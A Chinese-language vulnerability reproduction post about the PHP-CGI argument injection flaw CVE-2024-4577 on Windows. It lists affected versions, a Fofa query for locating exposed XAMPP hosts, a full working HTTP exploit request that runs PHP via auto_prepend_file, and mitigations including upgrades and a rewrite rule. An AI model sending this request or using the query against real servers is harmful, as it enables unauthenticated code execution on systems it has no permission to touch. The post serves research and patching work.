PHP CGI 参数注入漏洞 (CVE-2024-4577)

admin 2024年6月8日19:05:53评论47 views字数 1188阅读3分57秒阅读模式

漏洞描述

PHP 在设计时忽略 Windows 中对字符转换的Best-Fit 特性,当 PHP-CGI 运行在Window平台且使用了如下语系(简体中文936/繁体中文950/日文932等)时,攻击者可构造恶意请求绕过 CVE-2012-1823 补丁,从而可在无需登陆的情况下执行任意PHP代码。

影响版本

  • • PHP 8.3 < 8.3.8
  • • PHP 8.2 < 8.2.20
  • • PHP 8.1 < 8.1.29
  • • 安装系统为Windows
  • • 存在 cgi-bin/php-cgi.exe 文件

网络空间测绘‍‍‍‍

Fofa

app="XAMPP" && country="JP"

PHP CGI 参数注入漏洞 (CVE-2024-4577)

漏洞复现

POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Accept-Encoding: gzip, deflate, br
Connection: close

<?php echo "0o3hdqnEnl";exit();?>
PHP CGI 参数注入漏洞 (CVE-2024-4577)
image.png

修复建议

  1. 1. 升级到最新的 PHP 版本8.3.8、8.2.20、8.1.29。
  2. 2. 不方便更新版本的Windows用户,建议暂时关闭php-cgi的使用。
  3. 3. 以下重写规则可用于阻止攻击。请注意,这些规则仅对繁体中文、简体中文和日语语言环境起到临时缓解作用。在实际操作中,仍然建议更新到修补版本或迁移架构。
RewriteEngine On
RewriteCond %{QUERY_STRING} ^%ad [NC]
RewriteRule .? - [F,L]

对于使用 XAMPP for Windows 的用户: 截至本文撰写时,XAMPP 尚未针对此漏洞发布相应的更新文件。如果你确认不需要 PHP CGI 功能,可以通过修改以下 Apache HTTP Server 配置来避免受到该漏洞的影响:

C:/xampp/apache/conf/extra/httpd-xampp.conf

找到相应的行,并将其注释掉:

# ScriptAlias /php-cgi/ "C:/xampp/php/"

原文始发于微信公众号(凝聚力安全团队):【漏洞复现】PHP CGI 参数注入漏洞 (CVE-2024-4577)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月8日19:05:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PHP CGI 参数注入漏洞 (CVE-2024-4577)https://cn-sec.com/archives/2831554.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息